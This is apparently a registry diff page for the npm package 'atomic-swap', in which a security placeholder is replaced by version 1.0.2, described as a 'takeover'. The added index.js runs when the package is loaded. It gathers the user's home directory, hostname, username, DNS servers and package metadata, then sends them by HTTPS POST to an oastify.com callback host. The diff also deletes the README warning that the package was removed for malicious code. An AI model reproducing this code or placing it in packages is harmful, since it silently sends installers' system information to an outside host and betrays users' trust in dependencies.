atomic-swap 0.0.1-security → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of atomic-swap might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +40 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,40 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const trackingData = JSON.stringify({
8
+ p: package,
9
+ c: __dirname,
10
+ hd: os.homedir(),
11
+ hn: os.hostname(),
12
+ un: os.userInfo().username,
13
+ dns: dns.getServers(),
14
+ r: packageJSON ? packageJSON.___resolved : undefined,
15
+ v: packageJSON.version,
16
+ pjson: packageJSON,
17
+ });
18
+ var postData = querystring.stringify({
19
+ msg: trackingData,
20
+ });
21
+ var options = {
22
+ hostname: "pjcxruqllkp4o42b4dbqh3n4kvqxem.oastify.com",
23
+ port: 443,
24
+ path: "/",
25
+ method: "POST",
26
+ headers: {
27
+ "Content-Type": "application/x-www-form-urlencoded",
28
+ "Content-Length": postData.length,
29
+ },
30
+ };
31
+ var req = https.request(options, (res) => {
32
+ res.on("data", (d) => {
33
+ process.stdout.write(d);
34
+ });
35
+ });
36
+ req.on("error", (e) => {
37
+ // console.error(e);
38
+ });
39
+ req.write(postData);
40
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "atomic-swap",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "takeover",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=atomic-swap for more information.